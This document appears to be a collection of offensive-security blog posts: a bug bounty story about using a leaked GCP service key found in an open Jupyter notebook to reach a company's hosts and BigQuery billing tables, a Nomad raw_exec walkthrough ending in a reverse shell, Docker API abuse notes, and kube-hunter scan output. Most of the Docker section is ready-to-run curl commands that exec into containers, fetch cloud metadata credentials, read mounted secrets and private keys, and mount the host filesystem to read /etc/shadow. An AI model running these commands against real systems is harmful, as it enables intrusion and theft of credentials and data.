What is your GCP infra worth?...about ~$700 [Bugbounty]

BugBounty story #bugbountytips

A fixed but they didn't pay the bugbounty story...

Timeline:

• reported 21 Oct 2019
• validated at Critical  23 Oct 2019
• validated as fixed 30 Oct 2019
• Bounty amount stated (IDR 10.000.000 = ~700 USD) 12 Nov 2019
• Information provided for payment 16 Nov 2019
• 13 March 2020 - Never paid - blog post posted
• 19 March 2020  - received bounty of $565.86

There are lots of applications that are SAAS - Shell as a Service. Jupyter Notebook is one of these with its running code feature as well as its terminal functionality.

While I was trolling shodan looking for vulnerable boxes i came across an open Jupyter notebook belonging to Tokopedia. This wasn't obvious at first , but it will become clear how I identified this as you check out the screenshots.

Open Jupyter notebook server

I did a post on what do do when you find a GCP key in a previous post

This is especially important when people leave their GCP service account keys in folders

When you leave your service token in the folder for all to find/use

In this case it was base64 encoded - but easy to fix

service account token b64 decoded

It was also in the error output of one of the jupyter notebooks

I had used the terminal to do some basic poking around to find the owner

Once I identified it was owned by someone with a bug bounty program I figured it was ok to prove access and impact.

Per the GCP blog post once you have the service account token you authenticate and interact with services your token has access to

The handy thing about getting a shell on a GCP compute host is that all the GCP utils are installed and "just work" I actually didn't need to do anything from an external host I was able to start ssh'ing to other hosts from within the jupyter terminal.

Bigquery tables o_0

[+] Bigquery access [+]
bq ls --format=prettyjson --project_id tokopedia-970

Dat billing table yo

I love payments tables

Along the way I searched who this company was.  https://en.wikipedia.org/wiki/Tokopedia

Most interestingly...

In 2017, Tokopedia received $1.1 billion investment from Chinese e-commerce giant Alibaba.^[7] Again in 2018, the company secured $1.1 billion funding round led by Chinese e-commerce giant Alibaba Group Holding and Japan's SoftBank Group^[8] putting its valuation to about $7B.^[9]

So being a good person (tm) I reported the issue and it was assigned a critical severity. The fixed it super quickly and the team was decently responsive until it was fixed. After that it took 2 weeks to get information on the bounty, I promptly provided payment info, but I was never paid and they have stopped responding to my inquiries.


Solutions:
Run in a limited privilege container (doesn't protect against cloud metadata attack)

New versions of Juypter notebook allow for password protecting access. Do that instead of open to all

Devoops: Nomad with raw_exec enabled

"Nomad is a flexible container orchestration tool that enables an organization to easily deploy and manage any containerized or legacy application using a single, unified workflow. Nomad can run a diverse workload of Docker, non-containerized, microservice, and batch applications, and generally offers the following benefits to developers and operators..."

from: https://www.nomadproject.io/intro/index.html

To get a feel for where it fits in the HashiCorp ecosphere take a look at the following graphic:

I'd like to thank Will Butler for letting me write this up after watching him pwn it.

You can get a dev environment up and running using the tutorial here:
https://www.nomadproject.io/intro/getting-started/install.html

The walkthru has you run it as a dev environment which wont bind to 0.0.0.0 so you'll need the following server and client files to get an appropriate environment up and running after you Vagrant up.

server: https://gist.github.com/carnal0wnage/ce4296137414bd16fcca0818208b39b7
client1: https://gist.github.com/carnal0wnage/4abde0ee31f4d730019e6fa04ef6d3b6
client2: https://gist.github.com/carnal0wnage/a4399019a943862e57283c29994ce5da

If you get everything up and running correctly you should be able to connect to the UI on port 4646 and see the example job

$ nomad job run example.nomad

==> Monitoring evaluation "ac9b4b08"

    Evaluation triggered by job "example"

    Evaluation within deployment: "8a7dfe0f"

    Allocation "57e65abe" created: node "a15034e5", group "cache"

    Evaluation status changed: "pending" -> "complete"

==> Evaluation "ac9b4b08" finished with status "complete"

jobs in the nomad UI

servers in the nomad UI

clients in the nomad UI

Leveraging misconfiguration time. Nomad ships with a raw_exec option that is disabled by default.

ref: https://www.nomadproject.io/docs/drivers/raw_exec.html

the raw_exec option allow you to run a command outside isolation on the nomad host.  

"The raw_exec driver can run on all supported operating systems. For security reasons, it is disabled by default. To enable raw exec, the Nomad client configuration must explicitly enable the raw_exec driver in the client's options:"

How can you see if the raw_exec module is enabled on the clients?

You can check it out it the UI:

or by hitting the API endpoint

Let's exploit this thing.

We need to create a job hcl file with our commands. Here is gist with a simple one:

https://gist.github.com/carnal0wnage/25b391126dadefe0a9523fb421bf8f33

starting the service

Results of our job

job in the UI

Stopping the job

forcefully run the garbage collection

validation the job was deleted

OK let's get a reverse shell. I used the following hcl file:

https://gist.github.com/carnal0wnage/4a436a8dc0dcb142a8c836e48916dd71

Reverse shell job

Shell from nomad

-CG

Info on locking nomad down via ACLs:
https://www.nomadproject.io/guides/security/acl.html

Abusing Docker API | Socket

Notes on abusing open Docker sockets

This wont cover breaking out of docker containers

Ports: usually 2375 & 2376 but can be anything

Refs:

https://blog.sourcerer.io/a-crash-course-on-docker-learn-to-swim-with-the-big-fish-6ff25e8958b0
https://www.slideshare.net/BorgHan/hacking-docker-the-easy-way
https://blog.secureideas.com/2018/05/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-1.html
https://blog.secureideas.com/2018/08/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-2.html
https://infoslack.com/devops/exploring-docker-remote-api
https://www.blackhat.com/docs/us-17/thursday/us-17-Cherny-Well-That-Escalated-Quickly-How-Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence_wp.pdf
https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/
https://cert.litnet.lt/2016/11/owning-system-through-an-exposed-docker-engine/
https://medium.com/@riccardo.ancarani94/attacking-docker-exposed-api-3e01ffc3c124
https://www.exploit-db.com/exploits/42356
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/docker_daemon_tcp.rb
http://blog.nibblesec.org/2014/09/abusing-dockers-remote-apis.html
https://www.prodefence.org/knock-knock-docker-will-you-let-me-in-open-api-abuse-in-docker-containers/
https://blog.ropnop.com/plundering-docker-images/


Enable docker socket (Create practice locations)
https://success.docker.com/article/how-do-i-enable-the-remote-api-for-dockerd

Having the docker API | socket exposed is essentially granting root to any of the containers on the system

The daemon listens on unix:///var/run/docker.sock but you can bind Docker to another host/port or a Unix socket.

The docker socket  is the socket the Docker daemon listens on by default and it can be used to communicate with the daemon from within a container, or if configured, outside the container against the host running docker.

All the docker socket magic is happening via the docker API. For example if we wanted to spin up an nginx container we'd do the below:

Create a nginx container

The following command uses curl to send the {“Image”:”nginx”} payload to the /containers/create endpoint of the Docker daemon through the unix socket. This will create a container based on Nginx and return its ID.

$ curl -XPOST --unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create

{"Id":"fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65","Warnings":null}

Start the container

 $ curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65/start

As mentioned above you can also have the docker socket listen on a TCP port

You can validate it's docker by hitting it with a version request

 $ curl -s http://open.docker.socket:2375/version | jq

{
  "Version": "1.13.1",
  "ApiVersion": "1.26",
  "MinAPIVersion": "1.12",
  "GitCommit": "07f3374/1.13.1",
  "GoVersion": "go1.9.4",
  "Os": "linux",
  "Arch": "amd64",
  "KernelVersion": "3.10.0-514.26.2.el7.x86_64",
  "BuildTime": "2018-12-07T16:13:51.683697055+00:00",
  "PkgVersion": "docker-1.13.1-88.git07f3374.el7.centos.x86_64"
}

 or with the docker client

docker -H  open.docker.socket:2375 version

 Server:
 Engine:
  Version:          1.13.1
  API version:      1.26 (minimum version 1.12)
  Go version:       go1.9.4
  Git commit:       07f3374/1.13.1
  Built:            Fri Dec  7 16:13:51 2018
  OS/Arch:          linux/amd64
  Experimental:     false


This is basically a shell into the container

Get a list of running containers with the ps command

docker -H  open.docker.socket:2375 ps

CONTAINER ID        IMAGE                                               COMMAND                  CREATED             STATUS              PORTS                                           NAMES
72cd30d28e5c        gogs/gogs                                           "/app/gogs/docker/st…"   5 days ago          Up 5 days           0.0.0.0:3000->3000/tcp, 0.0.0.0:10022->22/tcp   gogs
b522a9034b30        jdk1.8                                              "/bin/bash"              5 days ago          Up 5 days                                                           myjdk8
0f5947860c17        centos/mysql-57-centos7                             "container-entrypoin…"   8 days ago          Up 8 days           0.0.0.0:3306->3306/tcp                          mysql
3965c004c7a7        192.168.32.134:5000/tensquare_config:1.0-SNAPSHOT   "java -jar /app.jar"     8 days ago          Up 8 days           0.0.0.0:12000->12000/tcp                        config
3f466b754971        42cb59080921                                        "/bin/bash"              8 days ago          Up 8 days                                                           jdk8
6499013fdc2d        registry                                            "/entrypoint.sh /etc…"   8 days ago          Up 8 days           0.0.0.0:5000->5000/tcp                          registry


Exec into one of the containers

docker -H  open.docker.socket:2375 exec -it mysql /bin/bash

bash-4.2$ whoami
mysql


Other commands

Are there some stopped containers?
docker -H open.docker.socket:2375 ps -a

What are the images pulled on the host machine?
docker -H open.docker.socket:2375 images


I've frequently not been able to get the docker client to work well when it comes to the exec command but you can still code exec in the container with the API.  The example below is using curl to interact with the API over https (if enabled). to create and exec job, set up the variable to receive the out put and then start the exec so you can get the output.


Using curl to hit the API

Sometimes you'll see 2376 up for the TLS endpoint.  I haven't been able to connect to it with the docker client but you can with curl no problem to hit the docker API.


Docker socket to metadata URL
https://docs.docker.com/engine/api/v1.37/#operation/ContainerExec


Below is an example of hitting the internal AWS metadata URL and getting the output

list containers:

curl --insecure https://tls-opendocker.socker:2376/containers/json | jq
[
  {
    "Id": "f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668",
    "Names": [
      "/docker_snip_1"
    ],
    "Image": "dotnetify",
    "ImageID": "sha256:23b66a91f928ea6a49bce1be4eabedbafd41c5dfa4e76c1a94062590e54550ca",
    "Command": "cmd /S /C 'dotnet netify-temp.dll'",
    "Created": 1541018555,
    "Ports": [
      {
        "IP": "0.0.0.0",
        "PrivatePort": 443,
        "PublicPort": 50278,
---SNIP---


List processes in a container:

curl --insecure https://tls-opendocker.socker:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
 {
  "Processes": [
    [
      "smss.exe",
      "7868",
      "00:00:00.062",
      "225.3kB"
    ],
    [
      "csrss.exe",
      "10980",
      "00:00:00.859",
      "421.9kB"
    ],
    [
      "wininit.exe",
      "10536",
      "00:00:00.078",
      "606.2kB"
    ],
    [
      "services.exe",
      "10768",
      "00:00:00.687",
      "1.208MB"
    ],
    [
      "lsass.exe",
      "10416",
      "00:00:36.000",
      "4.325MB"
    ],
 ---SNIP---


Set up and exec job to hit the metadata URL:

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'

{"Id":"4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55"}

Get the output:

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'

{
  "Code" : "Success",
  "LastUpdated" : "2019-01-29T20:12:58Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIATRSNIP",
  "SecretAccessKey" : "CD6/h/egYHmYUSNIPSNIPSNIPSNIPSNIP",
  "Token" : "FQoGZXIvYXdzEB4aDCQSM0rRV/SNIPSNIPSNIP",
  "Expiration" : "2019-01-30T02:43:34Z"
}


 Docker secrets
 relevant reading https://docs.docker.com/engine/swarm/secrets/


 list secrets (no secrets/swarm not set up)

 curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq
 { "message": "This node is not a swarm manager. Use \"docker swarm init\" or \"docker swarm join\" to connect this node to swarm and try again."}

 list secrets (they exist)

 $ curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq
 [
  {
    "ID": "9h3useaicj3tr465ejg2koud5",
    "Version": {
      "Index": 21
    },

    "CreatedAt": "2018-07-06T10:19:50.677702428Z",
    "UpdatedAt": "2018-07-06T10:19:50.677702428Z",
    "Spec": {
      "Name": "registry-key.key",
      "Labels": {} }},

Check what is mounted

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'

 {"Id":"7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa"}


Get the output by starting the exec

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'

overlay on / type overlay 
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
---SNIP---
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/sda2 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda2 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda2 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/sda2 on /var/lib/registry type ext4 (rw,relatime,errors=remount-ro,data=ordered)
tmpfs on /run/secrets/registry-cert.crt type tmpfs (ro,relatime)
tmpfs on /run/secrets/htpasswd type tmpfs (ro,relatime)
tmpfs on /run/secrets/registry-key.key type tmpfs (ro,relatime)
---SNIP---

Cat the mounted secret

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'

 {"Id":"3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30"}

 curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30/start -d '{}'

 -----BEGIN RSA PRIVATE KEY-----
MIIJKAIBAAKCAgEA1A/ptrezfxUlupPgKd/kAki4UlKSfMGVjD6GnJyqS0ySHiz0
---SNIP---


If you have secrets, it's also worth checking out services in case they are adding secrets via environment variables

 curl -s --insecure https://tls-opendocker.socket:2376/services | jq

 [{
    "ID": "amxjs243dzmlc8vgukxdsx57y",
    "Version": {
      "Index": 6417
    },
    "CreatedAt": "2018-04-16T19:51:20.489851317Z",
    "UpdatedAt": "2018-12-07T13:44:36.6869673Z",
    "Spec": {
      "Name": "app_REMOVED",
      "Labels": {},
      "TaskTemplate": {
        "ContainerSpec": {
          "Image": "dpage/pgadmin4:latest@sha256:5b8631d35db5514d173ad2051e6fc6761b4be6c666105f968894509c5255c739",
          "Env": [
            "PGADMIN_DEFAULT_EMAIL=REMOVED@gmail.com",
            "PGADMIN_DEFAULT_PASSWORD=REMOVED"
          ],
          "Isolation": "default"


 Creating a container that has mounted the host file system

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'

{"Id":"0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192","Warnings":null}


curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test

Read something from the host

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'

{"Id":"140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6"}

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'

root:$6$THEPASSWORDHASHWUZHERE:17717:0:99999:7:::
daemon:*:17001:0:99999:7:::
bin:*:17001:0:99999:7:::
sys:*:17001:0:99999:7:::
sync:*:17001:0:99999:7:::
games:*:17001:0:99999:7:::

Cleanup

Stop the container

curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop

delete stopped containers

curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

Kubernetes: Kube-Hunter 10255

Below is some sample output that mainly is here to see what open 10255 will give you and look like.  What probably of most interest is the /pods endpoint

or the /metrics endpoint

or the /stats endpoint

$ ./kube-hunter.py
Choose one of the options below:
1. Remote scanning      (scans one or more specific IPs or DNS names)
2. Subnet scanning      (scans subnets on all local network interfaces)
3. IP range scanning    (scans a given IP range)
Your choice: 1
Remotes (separated by a ','): 1.2.3.4
~ Started
~ Discovering Open Kubernetes Services...
|
| Etcd:
|   type: open service
|   service: Etcd
|_  host: 1.2.3.4:2379
|
| API Server:
|   type: open service
|   service: API Server
|_  host: 1.2.3.4:443
|
| API Server:
|   type: open service
|   service: API Server
|_  host: 1.2.3.4:6443
|
| Etcd Remote version disclosure:
|   type: vulnerability
|   host: 1.2.3.4:2379
|   description:
|     Remote version disclosure might give an
|_    attacker a valuable data to attack a cluster
|
| Etcd is accessible using insecure connection (HTTP):
|   type: vulnerability
|   host: 1.2.3.4:2379
|   description:
|     Etcd is accessible using HTTP (without
|     authorization and authentication), it would allow a
|     potential attacker to
|     gain access to
|_    the etcd
|
| Kubelet API (readonly):
|   type: open service
|   service: Kubelet API (readonly)
|_  host: 1.2.3.4:10255
|
| Etcd Remote Read Access Event:
|   type: vulnerability
|   host: 1.2.3.4:2379
|   description:
|     Remote read access might expose to an
|_    attacker cluster's possible exploits, secrets and more.
|
| K8s Version Disclosure:
|   type: vulnerability
|   host: 1.2.3.4:10255
|   description:
|     The kubernetes version could be obtained
|_    from logs in the /metrics endpoint
|
| Privileged Container:
|   type: vulnerability
|   host: 1.2.3.4:10255
|   description:
|     A Privileged container exist on a node.
|     could expose the node/cluster to unwanted root
|_    operations
|
| Cluster Health Disclosure:
|   type: vulnerability
|   host: 1.2.3.4:10255
|   description:
|     By accessing the open /healthz handler, an
|     attacker could get the cluster health state without
|_    authenticating
|
| Exposed Pods:
|   type: vulnerability
|   host: 1.2.3.4:10255
|   description:
|     An attacker could view sensitive information
|     about pods that are bound to a Node using
|_    the /pods endpoint

----------

Nodes
+-------------+---------------+
| TYPE        | LOCATION      |
+-------------+---------------+
| Node/Master | 1.2.3.4    |
+-------------+---------------+

Detected Services
+----------------------+---------------------+----------------------+
| SERVICE              | LOCATION            | DESCRIPTION          |
+----------------------+---------------------+----------------------+
| Kubelet API          | 1.2.3.4:10255       | The read-only port   |
| (readonly)           |                     | on the kubelet       |
|                      |                     | serves health        |
|                      |                     | probing endpoints,   |
|                      |                     | and is relied upon   |
|                      |                     | by many kubernetes   |
|                      |                     | componenets          |
+----------------------+---------------------+----------------------+
| Etcd                 | 1.2.3.4:2379        | Etcd is a DB that    |
|                      |                     | stores cluster's     |
|                      |                     | data, it contains    |
|                      |                     | configuration and    |
|                      |                     | current state        |
|                      |                     | information, and     |
|                      |                     | might contain        |
|                      |                     | secrets              |
+----------------------+---------------------+----------------------+
| API Server           | 1.2.3.4:6443        | The API server is in |
|                      |                     | charge of all        |
|                      |                     | operations on the    |
|                      |                     | cluster.             |
+----------------------+---------------------+----------------------+
| API Server           | 1.2.3.4:443         | The API server is in |
|                      |                     | charge of all        |
|                      |                     | operations on the    |
|                      |                     | cluster.             |
+----------------------+---------------------+----------------------+

Vulnerabilities
+---------------------+----------------------+----------------------+----------------------+----------------------+
| LOCATION            | CATEGORY             | VULNERABILITY        | DESCRIPTION          | EVIDENCE             |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 1.2.3.4:2379        | Unauthenticated      | Etcd is accessible   | Etcd is accessible   | {"etcdserver":"2.3.8 |
|                     | Access               | using insecure       | using HTTP (without  | ","etcdcluster":"2.3 |
|                     |                      | connection (HTTP)    | authorization and    | ...                  |
|                     |                      |                      | authentication), it  |                      |
|                     |                      |                      | would allow a        |                      |
|                     |                      |                      | potential attacker   |                      |
|                     |                      |                      | to                   |                      |
|                     |                      |                      |      gain access to  |                      |
|                     |                      |                      | the etcd             |                      |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 1.2.3.4:2379        | Information          | Etcd Remote version  | Remote version       | {"etcdserver":"2.3.8 |
|                     | Disclosure           | disclosure           | disclosure might     | ","etcdcluster":"2.3 |
|                     |                      |                      | give an attacker a   | ...                  |
|                     |                      |                      | valuable data to     |                      |
|                     |                      |                      | attack a cluster     |                      |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 1.2.3.4:10255       | Information          | K8s Version          | The kubernetes       | v1.5.6-rc17          |
|                     | Disclosure           | Disclosure           | version could be     |                      |
|                     |                      |                      | obtained from logs   |                      |
|                     |                      |                      | in the /metrics      |                      |
|                     |                      |                      | endpoint             |                      |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 1.2.3.4:10255       | Information          | Exposed Pods         | An attacker could    | count: 68            |
|                     | Disclosure           |                      | view sensitive       |                      |
|                     |                      |                      | information about    |                      |
|                     |                      |                      | pods that are bound  |                      |
|                     |                      |                      | to a Node using the  |                      |
|                     |                      |                      | /pods endpoint       |                      |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 1.2.3.4:10255       | Information          | Cluster Health       | By accessing the     | status: ok           |
|                     | Disclosure           | Disclosure           | open /healthz        |                      |
|                     |                      |                      | handler, an attacker |                      |
|                     |                      |                      | could get the        |                      |
|                     |                      |                      | cluster health state |                      |
|                     |                      |                      | without              |                      |
|                     |                      |                      | authenticating       |                      |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 1.2.3.4:2379        | Access Risk          | Etcd Remote Read     | Remote read access   | {"action":"get","nod |
|                     |                      | Access Event         | might expose to an   | e":{"dir":true,"node |
|                     |                      |                      | attacker cluster's   | ...                  |
|                     |                      |                      | possible exploits,   |                      |
|                     |                      |                      | secrets and more.    |                      |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 1.2.3.4:10255       | Access Risk          | Privileged Container | A Privileged         | pod: node-exporter-  |
|                     |                      |                      | container exist on a | 1fmd9-z9685,         |
|                     |                      |                      | node. could expose   | containe...          |
|                     |                      |                      | the node/cluster to  |                      |
|                     |                      |                      | unwanted root        |                      |
|                     |                      |                      | operations           |                      |
+---------------------+----------------------+----------------------+----------------------+----------------------+